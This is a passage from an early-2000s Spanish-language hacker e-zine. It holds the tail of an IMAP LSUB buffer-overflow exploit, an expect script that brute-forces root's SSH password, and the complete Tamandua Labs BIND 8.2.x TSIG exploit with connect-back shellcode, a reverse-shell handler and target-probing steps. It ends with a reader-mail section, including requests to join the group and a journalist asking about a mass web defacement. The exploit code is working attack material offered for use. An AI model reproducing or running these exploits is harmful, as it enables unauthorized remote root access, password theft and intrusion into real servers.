if (!hePtr) {
fprintf(stderr, "Unknow hostname : %s\n", strerror(errno));
exit(-1);
}
alarm(0);

sock = socket(AF_INET, SOCK_STREAM, 0);
if ( sock < 0 ) {
perror("socket()");
exit(-1);
}

sin.sin_family = AF_INET;
sin.sin_port = htons(143);
memcpy(&sin.sin_addr, hePtr->h_addr, hePtr->h_length);
bzero(&(sin.sin_zero), 8);

fprintf(stderr, "Connecting... ");
alarm(TIMEOUT);
if ( connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
fprintf(stderr, "failed to %s:143\n", argv[1]);
exit(-1);
}
alarm(0);

fprintf(stderr, "OK\n");


for ( i = 0; i <= SIZE; i += 4 )
*(long *)&buffer[i] = retaddr;

for ( i = 0; i < ( SIZE - strlen(shellcode) - 100); i++ )
*(buffer+i) = NOP;

memcpy(buffer + i, shellcode, strlen(shellcode));

INIT(sockbuffer);
READ(sock, sockbuffer);

if(debug) fprintf(stderr, "debug %s", sockbuffer);

fprintf(stderr, "Trying to loging ... ");

sprintf(sockbuffer, "1 LOGIN %s %s\n", login, password);
write(sock, sockbuffer, strlen(sockbuffer));

INIT(sockbuffer);
READ(sock, sockbuffer);

if(debug) fprintf(stderr, "debug %s", sockbuffer);

if (!(strstr(sockbuffer, "OK LOGIN completed"))) {
fprintf(stderr, "Login failed!!\n");
close(sock);
exit(-1);
}

fprintf(stderr, "OK\n");

INIT(sockbuffer);
sprintf(sockbuffer, "1 LSUB \"\" {1064}\r\n");
write(sock, sockbuffer, strlen(sockbuffer));

INIT(sockbuffer);
READ(sock, sockbuffer);

if(debug) fprintf(stderr, "debug %s", sockbuffer);

if(!(strstr(sockbuffer, "Ready"))) {
fprintf(stderr, "LSUB command failed\n");
close(sock);
exit(-1);
}

fprintf(stderr, "Sending shellcode... ");

write(sock, buffer, 1064);
write(sock, "\r\n", 2);

fprintf(stderr, "OK\n");

fprintf(stderr, "PRESS ENTER for exploit status!!\n\n");

openshell(sock, 1);

close(sock);

return 0;
}




Descripcion: sshd brute force root's password without detection remote
Nombre : ssh-brute.sh
Tipo : Remoto
Daemon : sshd

#!/usr/bin/expect -f
#
# simple expect exploit to brute force root's password via ssh without
# detection.. see CLABS200101 for info on this exploit.
#
# this is beerware, just buy me a beer at defcon if you like this.
# build your own dictionary, use at your own risk, no warranty, etc.
#
# jose@crimelabs.net january, 2001
#
set timeout 3
set target [lindex $argv 0]
set dictionary [lindex $argv 1]

if {[llength $argv] != 2} {
puts stderr "Usage: $argv0 root@target dictionary\n"
exit }

set tryPass [open $dictionary r]

foreach passwd [split [read $tryPass] "\n"] {
spawn ssh $target
expect ":"
send "$passwd\n"
expect "#" { puts "password is $passwd\n" ; exit }
set id [exp_pid]
exec kill -INT $id
}

Descripcion: bind 8.2.x tsig off-by-one stack overflow 
Nombre : tsl_bind.c
Tipo : Remoto
Daemon : named


/*
* Tamandua Laboratories. - CONFIDENTIAL - *** PROOF OF CONCEPT ***
* Copyright (C) 2001 Tamandua Laboratories.
* Powered by Axur Communications Inc. - www.axur.org
*
* Author : Gustavo Scotti (scotti@axur.org)
* Co-Author: Thiago Zaninotti
*
*
* ENGLISH EXPLANATION:
--------------------

HOW DOES THE TSIG's BUG WORK, AND HOW TO EXPLOIT IT?

The NAI(1)'s discovered TSIG bug is serious, but not that much. To
exploit it, you'll need lucky (or at least some well known host).

Actually, you get the stack modified, and all you can overwrite is
ebp, not the return address. This give us a longer way to get the
return address modified. I'll try to exemplify it on pure ASCII graphics:

| EBP | RET ADDRESS | FUNCTION PARAMETERS
^
ESP

The named server after finding the TSIG RR, and checking that the key is
not valid, by its rfc, it answers the question, but appends a truncated
TSIG RR. The vulnerability is: the named calculates the message lenght by
the fully qualified TSIG record, not by checking the truncated one.

When named starts to re-construct the answer, it skips the question, and
then answers the truncted RR TSIG. The way we did it, we offer named a as
much longer as question can be, so when it answers the TSIG, boom, we got
our ebp modified.


EVERYTHING CAN'T BE SO TRIVIAL:

You are right! When the function named as "datagram_read" exits, the ebp
is then changed, affecting its parent function that calls "__evDrop".
evDrop needs a pointer to a structure, so it can process the event ok.
When ns_sign overrun the stack, it fills in with "0x0011" (error code to
badkey) and "0x0000" (other data len - only used when errorcode = badtime).
In other words, you cannot fill in the LSB's ebp with arbitrary value.
After some while, we found out that:

* To exploit it, you'll need the ebp lsb >= 0x54. That's because of
ebp, and the internal evDrop local variables and the TSIG answer.
A distribution should load as much environment variables as to make
ebp least significant byte greater than 0x54. Slackware almost do
that, so it's not vulnerable by default. Redhat showed us that it is
vulnerable. Other distros should be checked. We have made a probing
method that would help you port it to your distribution.


* Getting your signatures:

1) boot your linux distro straight! - this is very important
2) get the process PID and then run gdb
3) type "attach <pid_number>"
3) (gdb) continue
4) run the probe mode.
5) if you get a SIGABORT, then your distribution is not vulnerable.
6) if you get a SEGV, you have great chances to exploit it :)
7) issue a "i r ebp" on gdb
take a look:
ebp 0xbffff8dc
^^-> this is the least significant byte,
if you don't know him :)
This value should be greater than 0x54. (in this case, it is
vulnerable);

8) pass it as a parameter to the exploit, and you'll get there :)


* There are differences when the system runs "named" and when a user
runs it. That's all because environment variables (when you log in,
you load up a lot more of it). So you can scan both modes.

* PS: Now of Feb 4th, we have included the infoleak bug to probe for
ebp values. - no more debug nor operating system probes.


(1) NAI is a registered trademark of Network Associates Inc. and it is copyrighted.


*/

#include <stdlib.h>
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <getopt.h>

typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned long u32;

/* SHELLCODE - this is a connect back shellcode */

u8 shellcode[]= 
"\x3c\x90\x89\xe6\x83\xc6\x40\xc7\x06\x02\x00\x0b\xac\xc7\x46"
"\x04\x7f\x00\x00\x01\x31\xc0\x89\x46\x08\x89\x46\x0c\x31\xc0\x89"
"\x46\x28\x40\x89\x46\x24\x40\x89\x46\x20\x8d\x4e\x20\x31\xdb\x43"
"\x31\xc0\x83\xc0\x66\x51\x53\x50\xcd\x80\x89\x46\x20\x90\x3c\x90"
"\x8d\x06\x89\x46\x24\x31\xc0\x83\xc0\x10\x89\x46\x28\x58\x5b\x59"
"\x43\x43\xff\x76\x20\xcd\x80\x5b\x4f\x74\x32\x8b\x04\x24\x89\x46"
"\x08\x90\xbd\x7f\x00\x00\x01\x89\x6e\x04\xc7\x06\x03\x80\x35\x86"
"\xb8\x04\x00\x00\x00\x8d\x0e\x31\xd2\x83\xc2\x0c\xcd\x80\xc7\x06"
"\x02\x00\x0b\xab\x89\x6e\x04\x90\x31\xff\x47\xeb\x88\x90\x31\xc0"
"\x83\xc0\x3f\x31\xc9\x50\xcd\x80\x58\x41\xcd\x80\xc7\x06\x2f\x62"
"\x69\x6e\xc7\x46\x04\x2f\x73\x68\x00\x89\xf0\x83\xc0\x08\x89\x46"
"\x08\x31\xc0\x89\x46\x0c\xb0\x0b\x8d\x56\x0c\x8d\x4e\x08\x89\xf3"
"\xcd\x80\x31\xc0\x40\xcd\x80";
/* DIVERSE OPERATING SYSTEMS NUMBERS */
struct t_os
{
u8 *name;
u32 ebp;
u32 desloc;
};

struct t_os OS[]={
{ "Linux Slackware TMDLabs tests - Gustavo", 0xbffff8cc, 2 }
, { "Linux Redhat 6.1 8.2.2-P5 - Gustavo", 0xbffffc5c, 2 }
, { NULL, 0 }
};

int verbose=0;

/* DNS STRUCTURE */
struct t_query
{
u16 id;
u8 rd:1, /* recursion desired */
tc:1, /* truncated message */
aa:1, /* authoritative answer */
opcode:4, /* message opcode */
qr:1; /* response flag */
u8 rcode:4, /* response code */
unused:2,
pr:1, /* primary server required */
ra:1; /* recursion available */
u16 qdcount, /* no of question entries */
ancount, /* no of answers entries */
nscount, /* no of authority entries */
arcount; /* no of resource entries */
};


/* NETWORKING FUNCTIONS */
u32
dns2ip( host)
u8 *host;
{
struct hostent *dns;
u32 saddr;
dns = gethostbyname( host);
if (!dns)
return 0xffffffff;
bcopy( (char *)dns->h_addr, (char *)&saddr, dns->h_length);
return ntohl(saddr);
}

int
udp_connect(u32 addr, u16 port)
{
struct sockaddr_in client;
int new_fd;

new_fd = socket( AF_INET, SOCK_DGRAM, 0);
if (new_fd<0)
return -1;

bzero( (char *) &client, sizeof( client));
client.sin_family = AF_INET;
client.sin_addr.s_addr = htonl( addr);
client.sin_port = htons( port);
if (connect( new_fd, (struct sockaddr *) &client, sizeof(client))<0)
return -2; /* cant bind local address */

return new_fd;
}

u32 retrieve_local_info(int sock)
{
struct sockaddr_in server;
int soclen;
soclen = sizeof(server);
if (getsockname(sock, (struct sockaddr *)&server, &soclen)<0)
{
printf("* error in getsockname\n");
exit(0);
}
return htonl(server.sin_addr.s_addr);
}

int
bind_tcp( u16 *port)
{
struct sockaddr_in mask_addr;
int sock, portno=25000; /* base_port */

sock = socket( AF_INET, SOCK_STREAM, 0);
if (sock<0)
return sock;

redo:
mask_addr.sin_family = AF_INET;
mask_addr.sin_port = htons( portno);
mask_addr.sin_addr.s_addr = 0;

if (bind(sock, (struct sockaddr *)&mask_addr, sizeof(mask_addr))<0)
{
error:
portno++;
if (portno>26000)
{
printf("* no TCP port to bind in.\n");
exit(0);
}
goto redo;
}
if (listen( sock, 0)<0)
goto error;

printf(". TCP listen port number %d\n", portno);
if (port)
*port = portno;
return sock;
}


/* DNS functions */

u8
*encode_name( u8 *data, int *out_size)
{
int i,n;
static u8 out[1024];
u8 *head;

head = out;
snprintf(out, sizeof(out), "1%s", data);
*out_size = strlen(out);
for (n=0,i=1;i<*out_size;i++)
{
if (out[i]=='.')
{
*head = n;
head = &out[i];
n=0;
}
else n++;
}
*head=n;
return out;
}

void fill_domainname(u8 *fill, int size)
{
u8 c='A';
while (size)
{
int n,i;

if (size>63) n=62;
else n=size-1;

*fill++=n;
if (c!=0x44)
memset(fill, c, n);
else
for (i=0;i<n;i++) fill[i]=i;
c++;
fill+=n;
size-=(n+1);
}
}

/* SHELL CODE ASSEMBLY */
u8 *assembly_shellcode( u32 ebp)
{
static u8 buff[512];
u8 *shell;
u32 ret_addr, addr, offset, pad_offset;

addr = ebp & ~(0xff);
offset = ebp & 0xff;

if (offset < 0x54)
{
printf("* this ebp is not vulnerable. sorry!\n");
exit(0);
}



offset = 0x22b - offset;

shell = buff;
pad_offset = sizeof(shellcode)-1;

ret_addr = addr - offset - 1; /* perfect align :) */

memcpy(shell, shellcode, sizeof(shellcode));
fill_domainname( &buff[pad_offset], (offset-pad_offset));
/* fill ebp data */
shell = &buff[offset];
*shell=16; shell++;
*(u32 *)shell = 6; shell+=4; /* evDrop event */
*(u32 *)shell = ret_addr; shell+=4; /* return address */
*(u32 *)shell = ebp; shell+=4; /* ebp info */
*(u32 *)shell = addr; /* evDrop event pointer */
offset+=17;
fill_domainname( &buff[offset], 488-offset);

buff[488]=0;
return buff;
}



int
assembly_dns_query( u8 *packet, u32 ebp)
{
struct t_query *hdr;
u8 *data, *encoded_shell;
int size;

bzero(packet, sizeof(struct t_query));
hdr = (struct t_query *)packet;

hdr->id = getpid();
hdr->qdcount = 1;
hdr->opcode = 0; /* QUERY */
hdr->arcount = 1; /* yes, we have the TSIG here */

data = (u8 *)(hdr + 1);

encoded_shell = assembly_shellcode( ebp);
memcpy(data, encoded_shell, 489);
data += 489;
*(u16 *)data = htons(1); /* QUERY type */
data += sizeof(u16);
*(u16 *)data = htons(1); /* QUERY class */
data += sizeof(u16);
*data++ = 0; /* RR DOMAIN NAME (none) */
*(u16 *)data = htons(250); /* TSIG RR type */
data += sizeof(u16);
*(u16 *)data = htons(255); /* TSIG RR class = ANY */
data += sizeof(u16);

/* switch host to network byte ordering (HEADER ONLY!) */
hdr->id = htons( hdr->id);
hdr->qdcount = htons( hdr->qdcount);
hdr->ancount = htons( hdr->ancount);
hdr->nscount = htons( hdr->nscount);
hdr->arcount = htons( hdr->arcount);

return (data - packet);
}

int
assembly_dns_infoleak_query( u8 *packet)
{
struct t_query *hdr;
u8 *data, *encoded_zone;
int size;

bzero(packet, sizeof(struct t_query));
hdr = (struct t_query *)packet;

hdr->id = getpid();
hdr->opcode = 1; /* IQUERY */
hdr->rd = 1; hdr->ra = 1;
hdr->ancount = 1;

data = (u8 *)(hdr + 1);
fill_domainname( data, 440);
data[440]=0;
data+=441;

*(u16 *)data = htons(1); /* A type */
data += sizeof(u16);
*(u16 *)data = htons(1); /* CHAOS class */
data += sizeof(u16);
*(u32 *)data = htonl(1); /* TTL */
data += sizeof(u32);
*(u16 *)data = htons(255); /* EVIL SIZE */
data += sizeof(u32);
/* switch host to network byte ordering (HEADER ONLY!) */
hdr->id = htons( hdr->id);
hdr->qdcount = htons( hdr->qdcount);
hdr->ancount = htons( hdr->ancount);
hdr->nscount = htons( hdr->nscount);
hdr->arcount = htons( hdr->arcount);

return (data - packet);
}

int
assembly_dns_chaos_query( u8 *packet)
{
struct t_query *hdr;
u8 *data, *encoded_zone;
int size;

bzero(packet, sizeof(struct t_query));
hdr = (struct t_query *)packet;

hdr->id = getpid();
hdr->qdcount = 1;
hdr->opcode = 0; /* QUERY */

data = (u8 *)(hdr + 1);

encoded_zone = encode_name( "version.bind", &size);
encoded_zone[size++]=0;
memcpy(data, encoded_zone, size);
data += size;
*(u16 *)data = htons(16); /* TXT type */
data += sizeof(u16);
*(u16 *)data = htons(3); /* CHAOS class */
data += sizeof(u16);

/* switch host to network byte ordering (HEADER ONLY!) */
hdr->id = htons( hdr->id);
hdr->qdcount = htons( hdr->qdcount);
hdr->ancount = htons( hdr->ancount);
hdr->nscount = htons( hdr->nscount);
hdr->arcount = htons( hdr->arcount);

return (data - packet);
}




void
check_data(int fd, u16 local_port, int probe)
{
u8 pkt[1024];
/* no packet can have more than this... */

u32 ebp;
u32 r_addr;
u16 r_port;
int n,i;

/* n = udp_read(fd, &r_addr, &r_port, pkt, sizeof(pkt)); */
n = read(fd, pkt, sizeof(pkt));

if (n<sizeof(struct t_query))
return;
else
{
struct t_query *query;
u8 *data;

query = (struct t_query *)pkt;
data = (u8 *)(query+1);
if (verbose)
{
printf("recebi query de resposta: %d bytes\n", n);

printf("packet id=%x\n", query->id);
printf("rd %d, tc %d, aa %d, opcode %d, qr %d\n",
query->rd, query->tc, query->aa, query->opcode, query->qr);
printf("rcode %d, pr %d, ra %d\n",
query->rcode, query->pr, query->ra);
printf("counts: qd %d, an %d, ns %d, ar %d\n",
htons(query->qdcount), htons(query->ancount), htons(query->nscount),
htons(query->arcount));

printf("\n**** RECV PACKET DUMP ****\n");
for (i=0;i<n;i++)
{
if (!(i % 16)) printf("\n%04x ", i);
printf("%02x ", pkt[i]);
}

printf("\n");
}

if (query->rcode==1 && query->opcode==1 && query->rd && query->qr)
/* infoleak answer */
{
u32 local_addr;

ebp = *(u32 *)&pkt[0x214];
ebp -= 0x20;
printf("\bebp is %08x\n", ebp);
if (probe)
{
exit(0);
}
printf(". waiting for connect_back shellcode response... ");
local_addr = retrieve_local_info(fd);

*(u32 *)&shellcode[0x62] = htonl(local_addr);
*(u16 *)&shellcode[0x81] = htons(local_port);
/* start to dump da packet away */
n = assembly_dns_query( pkt, ebp);
write( fd, pkt, n);
}


if (query->rcode)
{
printf("\n* error on binding receiving the message\n");
exit(0);
}

if (query->ancount) /* we have answer */
{
u16 type, class;

/* skip domainname */
while (*data)
data += (1+*data);
data++;
type = ntohs(*(u16 *)data); data += sizeof(u16);
class = ntohs(*(u16 *)data); data += sizeof(u16);
if (type==16 && class==3) /* the answer for our bind baby */
/* skip domainname */
while (*data)
data += (1+*data);
data+=11;
data[*data+1]=0; data++;
printf("\b%s\n", data);
printf(". probing ebp... ");
n = assembly_dns_infoleak_query( pkt);
write( fd, pkt, n);

}
}
}


proxy_loop(int sock)
{
fd_set fds;
u8 tmp[256];
int tcp, addr_len;
struct sockaddr_in server;

addr_len = sizeof(server);
tcp = accept( sock, (struct sockaddr *)&server, &addr_len);
printf("\bconnected\n. ^---> from %s:%d\n", inet_ntoa(server.sin_addr), ntohs(server.sin_port));
close(sock); /* closing incoming socket */
printf(". congratulations. you have owned this one.\n");

sprintf(tmp,"uname -a; id\n");
send(tcp, tmp, strlen(tmp), 0);
/* basic async mode */
while (1)
{
FD_ZERO(&fds);
FD_SET(0, &fds);
FD_SET(tcp, &fds);

if (select(tcp+1, &fds, NULL, NULL, NULL)>0)
{
if (FD_ISSET(0, &fds))
{
int n;
n = read(0, tmp, 256);
if (n<0)
goto end_conn;
if (write(tcp, tmp, n)!=n) goto end_conn;
}
if (FD_ISSET(tcp, &fds))
{
int n;
n = read(tcp, tmp, 256);
if (n<0)
goto end_conn;

if (write(0, tmp, n)!=n) goto end_conn;
}
}
}
end_conn:
close(tcp);
printf(". bye-bye. Stay tuned for more Tamandua Labs codes.\n");
exit(0);
}





/* INFO ON MAIN:
-------------

This exploit will probe for bind's version, and then will try to exploit
it. Thus, it gets the local address information, to connect back.

*/



int main(int argc, char **argv)
{
u32 addr;
int dns_fd, local_fd;
u8 data[1024];
u16 local_port;

int probe=0;

fd_set fd_r;
struct timeval tv;
char try_ch[4]="/-\\|";

int i, n, max_fd;

printf(". ISC bind 8.2.2-x remote buffer-overflow for linux x86\n");
printf(". (c)2001 Tamandua Laboratories - www.axur.com.br\n");
printf(". (c)2001 Gustavo Scotti <scotti@axur.org>\n\n");

for (;;)
{
int c;
int option_index = 0;

static struct option long_options[] =
{
{ "help" , no_argument , NULL, 'h' },
{ "verbose" , no_argument , NULL, 'v' },
{ "probe" , no_argument , NULL, 'p' },
{ 0, 0, 0, 0 }
};

c = getopt_long(
argc, argv,
"hvp",
long_options, &option_index);
if (c == EOF)
break;

switch (c)
{
case 'h': /* help */
printf
(
" usage: %s [-phv] target\n"
"\n"
" -h, --help this message\n"
" -v, --verbose verbose\n"
" -p, --probe probe only!\n"
"\n", argv[0]
);
return 0;
break;
case 'p': probe=1;
break;
case 'v': /* verbose */
verbose=1;
break;
}
}

if (optind >= argc)
{
printf( "* no target especified\n");
return 1;
}

addr = dns2ip(argv[optind]);
if (addr==0xffffffff)
{
printf("* could not resolve '%s'\n", argv[optind]);
exit(0);
}

local_fd = bind_tcp(&local_port);
dns_fd = udp_connect( addr, 53);
n = assembly_dns_chaos_query( data);
write( dns_fd, data, n);
max_fd = 1+(local_fd > dns_fd ? local_fd : dns_fd);
printf(". waiting for server response... ");

while (1)
for (n=0;n<20;)
{
int i;

printf("\b%c", try_ch[(n%4)]);
fflush(stdout);

FD_ZERO( &fd_r);
FD_SET( dns_fd, &fd_r);
FD_SET( local_fd, &fd_r);

tv.tv_sec = 0;
tv.tv_usec = 50000;

i =select( max_fd, &fd_r, NULL, NULL, &tv);
if (!i) { n++; continue; }
if (i>0)
if (FD_ISSET(dns_fd, &fd_r)) check_data(dns_fd, local_port, probe);
else
if (FD_ISSET(local_fd, &fd_r)) proxy_loop(local_fd);
}
}



/*

----- tmd info tag -----
# tmdl-003
v ISC Bind Server (8.2.2.x)
w february, 2nd 2001
a Gustavo Scotti (scotti@axur.org)
i do not run this behind a masquerade server. the shellcode is a connect
i back and it does probe for local address.
*/



Autor : EleKtr0
Titulo : Bug`s & Exploit`s
Fuente : Hispasec - Hack.co.za - SecuriTeam - Packetstorm





,øñ°`´°ñø¸
-<[ 19 ]>-
`°ñø,¸,øñ°

Autor : EST
Titulo : Correo Electronico
Correo : electron_team@usa.net


From: <filthdark@xxx.xx>
To: <EleKtr0@usa.net>
Subject: EST

wena compadre en he estado siguiendo su ezine y me parecio la raja pero el
motivo de este mail es si puedo cilaborar con uds se mas de hack en linux que
de paginas webs y esas yerbas y deseo "si se puede" entrar a su grupo hack
bueno compadre te dejo me tengo k virar espero tu mail si la respuesta es no
igual maileame porfa.

okyz
byez

filthdark@xxx.xx
finger@xxx.xx
irc.terra.cl 6667 casi toos los dias en la noche desde las 11:00 o 12:00
byez

:-)


From: "Daniel Benites" <lc_whitedevil@xxx.xx>
To: <EleKtr0@usa.net>
Subject:

Hey . como estas. La razon de este mail es para hace un pequeñito acuerdo !Que
te parece! si cambiamos links , tu linkeas mi pagina y por su puesto yo linkeo
la tulla mi url es http://mie.aztecaonline.com y mi e-zine es MIE respondeme
este mail por favor con tu desicion.



From: Miguel <365DIAS@xxx.xx>
To: EleKtr0@usa.net
Subject: (no subject)

Sabeis de alguna lista de errores de windows (pantallazos azules) si sabeis de
alguna lista de ese tipo , mandadme la direccion me es muy util


From: Miguel <Failure@xxx.xx>
To: EleKtr0@usa.net
Subject: (no subject)

Hola.
Soy General Failure, y les mando esto para que lo lean y se diviertan un poco
o si quieren lo pueden poner en la ezine, pero sobre todo lo mando para que se
entretengan un rato.

Chao, feliz siglo XXI.

General Failure.



From: "rucarli@xxx.xx"
To: electron_team@usa.net
Subject: Kiero ser PaRte de electron team!!!!

Lei si zine y me encanto y me dije ke no me podia kedar kon los brazos
kruzados asi ke aki toy......... por fa aceptenme............ para kualkier
kosa mailme pliz

Rucarli



From: "Garry Holtzen Jenkins" <goost_raider@xxx.xx>
To: electron_team@usa.net
Subject: Puedo colaborar ???

Hola:
Que tal espero que cuando este mensaje te llegue, que no lo tomes a mal, soy
uno de los tantos que lee tu e-zine, que por cierto no esta nada mal, solo
te voy a decir que tu comentario del e-zine Nokeyz, en lo que a mi concierne
creo que estuvo demas, a decir verdad a mi no me importa mucho lo que haya
pasado entre uds, si crees que lo que hiciste estuvo bien, pues adelante...
y no hay mas remedio ;-)

Otra cosa que queria comentarte es que me gustaria colaborar con el e-zine, lo
que tengo como idea es mandarte un documento sobre el sistema operativo UNIX,
en realidad no es muy tecnico, ni tampoco a nivel de administrador, que es lo
que me guataria que fuese, el documento trata sobre historia, sistemas de
archivos, sistemas de administracion de memoria, procesos, algunas que otras
caracteristicas basicas del sistema.

Mi idea es dar una introduccion de lo que yo se sobre este famoso sistema
operativo, ya que lo utilizan la mayoria de los servidores que tiene acceso a
Inet, por lo que yo se la universidad donde estudio utiliza este sistema en
su servidor, ademas espero que despues otra gente que este interesada en el
tema pueda alcanzar mas inforamcion con la intencion de que todos podamos
aprender un poquito mas, espero poder encender la brecha sobre este tema.

Espero tu respuesta para poder empezar a transcribir algo sobre el tema.

Bueno te cuento mas o menos a lo que me dedico, estudio Lic en Sistemas, y
estoy en tercer año de la carrera, la forma en que me introducí en el tema
del underground fue por un amigo con una mentalidad muy inquieta, y es asi
que empece a buscar y leer muchos textos relacionados al tema que por suerte
se encuentran en Inet, todo esto ya hace casi un año y medio y a decir
verdad no he experimentado mucho en el tema ya que no tengo un tarro en mi
casa como para ponerme mas en movimiento.

Y un tema mas antes de despedirme, en mi universidad las computadoras utilizan
Guindouz NT y el administrador en un hijo de las grann '%&···###...bueno tu ya
sabes, pero por lo que pude ver de tu e-zine es que conoces bastante bien este
maldito sistema de sistema de Mocosoft, espero que podamos ayudarnos en esto,
si te parece claro..;-)

Bueno espero que nos entendamos en el tema y espero tu respuesta lo mas pronto
posible que tengo que rendir una maldita materia,pero bueno asi es la vida que
le vamos a hacer, no??? ;-)

goost_raider

P.D.: como podras ver mi nick es el de la firma y por si no lo mencione antes
soy de Argentina, mas presisamente vivo en la provincia de corrientes pero por
suerte no naci allí, ja ja ja ;-) hasta la proxima.



from: "Angel Ney" <arjwinzip@xxx.xx>
To: electron_team@usa.net
Subject: Logo.

Hola.
Soy General Failure. Hace un tiempo les envié un artículo, y me gustaría saber
si les interesó o no, te pido que me lo digas. Se llama "Trucos y consejos
practicos para Windows,Internet Explorer,Html y Javascript"
. Me gustaría saber
si lo pondrán en la próxima edición de la ezine, o si no les gustó, o lo que
sea.

Ahora les mando este logo que hice, es una reproducción en ascii del logo que
sale en la pagina, espero también que les guste y que lo pongan en la ezine.

Bueno, saludos a todos y cuenten conmigo si desean artículos sobre html y
javascripts.

General Failure.
PD: ...felicitaciones por lo que hicieron en protesta a "insegure".

Por General Failure.
[arjwinzip@xxx.xx]



..eee&&&&&&pqa,
.;6&p' 'q&&&&&&&,
.&&&&&'' '&&&&&&&& 'a
,&&&&&&&' '&&&&&&& &
&&&&&&&& &&&&&&' &
(&&&&&&&( ,&&&&' &
&&&&&&&&, ,,ee&9'' &
'd&&&&&&6;ee&&&&&&9' &
''&&&&&&6, ELECTRON SECURITY .%
'&&&&&$£.. .&'
''&&&&&&&;.. TEAM ,,&'
''&&&&&bqqa,,,,,,,,,,,,ee9'
''ººººº8888ººººº''



From: Rodrigo Alvarez <raaa54@xxx.xx>
To: est@electron-team.com
Subject: Hola, El Mostrador requiere informacion

Esta direccion estaba en la proclama del hackeo que hace poco afecto a mas de
cien paginas chilenas. Nos gustaria saber si ustedes se adjudican la autorias
del hecho o si tienen infromacion de quienes son.

Necesitamos respuesta o confirmacion para la nota que estamos haciendo en
elmostrador.cl

Gracias


From: Rodrigo Alvarez <raaa54@xxx.xx>
To: electron_team@usa.net
Subject: OK! Re:

Gracias por responder y gracias por lo de señor. En efecto todos acá tiene un
host, lo que pasa es que me integré hace pocos días y me estaban configurando
una cuenta y todo eso, cuestyión que ya está lista.

Nos vemos y que estén bien.

RAA



From: "Gonzalo Jara" <jaradin@xxx.xx>
To: <electron_team@usa.net>
Subject: quiero ser parte de team

holas me llamo gonzalo y me gsutaria s ser parte del Team, en la pagina dice
que mandemos un articulo y no cahce cual era asi que no lo mande .... epero
que me respondan.

atte
Gonzalo Jara
GoNZaLiTrO


From: "lalala" <lalala@xxx.xx>
To: <electron_team@usa.net>
Subject: electron team

Hola:
El presente mail pretende consultarles si Uds. trabajaron alguna vez con la
tecnologia diskless y clustering.Con el primero deseo implementarlo el segundo
es un proyecto.
Atte., saludo a todos Uds.
Sigan adelante con su página, MUY BUENA!!!!

"La información debe ser libre"
Get your Free E-mail at http://linuxpower.zzn.com



From: "Helberth A. Correa A." <hcorrea@xxx.xxx>
To: electron_team@usa.net
Subject: Hola

hola Muy interesante todo el material de su ultimo e-zine Te escribo para
solicitarte permiso para recopilar tu e-zine y publicarlo en una web que
trate de temas en general sobr el mundo de la computación, soporte técnico,
driver, novedades, noticias en general. T estare enviando la direccion de la
misma el proximo mes. Estás de acuerdo? Helberth A. Correa




From: Plasmoid / THC <plasmoid@pimmel.com>
To: electron_team@usa.net
Subject: New Website: The Hacker's Choice


Hi, I am Plasmoid of the german hacking group "The Hacker's Choice". We have
discovered that you have one or more links on your website that point to our
old servers. We'd like to inform you, that we have changed the server and
reorganized our site.

It can be found at: --> http://www.thehackerschoice.com

We would be pleased if you could change the link(s) to this new location. We
spent nearly 3 months reorganisting our site and tried to made it miles ahead
from the old one.

With best regards, Plasmoid / THC




From: lestat@xxx.xx
To: electron_team@usa.net
Subject: Team Electron

Hola
Vi el numero 1 de e-zine hace algun tiempo y la encontre bastante peculiar,
interezante. Llegue a ella por casualidad,ya ni recuerdo como...pero al volver
a visitarla este año la encontre bastante renovada, todavia estoy saboreando
la lectura del e-zine.

Como tu propones pertenecer al staff, te escribo este mail en donde te comento
mis conocimientos y aptitudes, que podrian ser de gran utilidad para tu
proyecto.

Soy diseñador grafico, y me dedico al diseño de sitios web para empresas,
digamos que de programacion no se mucho, es decir casi nada, pero de los
programas gráficos bastante, sobre todo los productos macromedia como:
dreamweaver, flash, firewoks, freehand y otros como photoshop, tambien
programas de 3d como softimage 3d de la linea SilicomGraphics.

Digamos que ese es mi curriculum, espero que mis conocimientos puedan ser
utiles para el team y poder apoyar este proyecto.

Saludos
Lestat

PD. este es mi web site de mi empresa http://www.neweb.cl


From: eidotn_rob@xxx.xx
To: electron_team@usa.net
Subject: Informacion

Hola electron.

Necesito alguna informacion sobre lo siguiente: Que consideraciones debo tener
para poder transmitir señales a travez de internet, te soy mas especifico, el
trabajo que quiero hacer consta en hacer mover un motor de cualquier objeto...
pero,para esto se desarrollara un software,el cual quiero sabes que debo tener
en cuenta, en lo que se refiere al puerto a utilizar, la seguridad que debo
tener o si no es necesario,para esto ya hice un primer trabajo que consiste en
mover un carrito a travez de radio enlace pero a travez del puerto paralelo...
me sera necesario seguir utilizando este o que me recomiendas...,sobre todo me
interesa que debo tener presente en mi software...claro sindescuidar la parte
hardware... De antemano muchas gracias... y espro su pronta respuesta.

Atte.
Oscar Ciudad


From: REMIGIO SAEZ <crushsistem@xxx.xx>
To: electron_team@usa.net
Subject: mejorar la comunicacion y saber kienes somos....

Hola EleKtrO, mi nick es CRaSHSiSTeM, gusto en saludarte, y por medio de esta
espero podamos mantener informacion abieta y sin prejuicio...el motivo de esta
es para proponerte, k se cree un canal en el irc, para los usuarios, team,
adictos a coleccionar e-zine, etc, en primer lugar podria ser abierto para
luego poder ingresar por contarseña para k no molesten en fin, etc, desde
luego la idea keda abierta al team, si la respuesta es si,mandame el servidor
para conectarme y desde luego, minimo acces, pero bueno y si no veamos otra
alternativa para tener un contacto activo entre nosotros...bye, bye.

SE DESPIDE AFECTUOSAMENTE, Y ESPERANDO PRONTA RESPUESTA..... REMIGIO SAEZ B.

CRUSHSISTEM@xxx.xx
ARMAGEDON_11@xxx.xx



Date: Fri, 12 Jan 01 14:20PM MST
From: lestat@xxx.xx
To: electron_team@usa.net
Subject: ok, manos a la obra


Por lo visto debo sentirme priviligiado por que me dejen integrarme al team,
bueno entonces ¡¡manos a la obra!!.

He estado observando algunas paginas relacionadas,el web site de electron-team,
la encuentro en gral. simple, por supuesto que en este caso se privilegia el
contenido, no?. haré algunos diseños y los subiré a mi web para que puedas
opinar al respecto....trabajaré sobre lo que ya hay, es decir contenidos y
menus.

Tambien me gustaria poder hacer algo en flash, una presentacion o algo así.

Todo esto espero tenerlo dentro de la proxima semana... ojalá nos podamos
comunicar de alguna forma para aclarar otras dudas que tengo.

Saludos

Lestat

PD: en que canal de chat los encuentro?



Autor : EST
Titulo : Correo Electronico
Correo : electron_team@usa.net






,øñ°`´°ñø¸
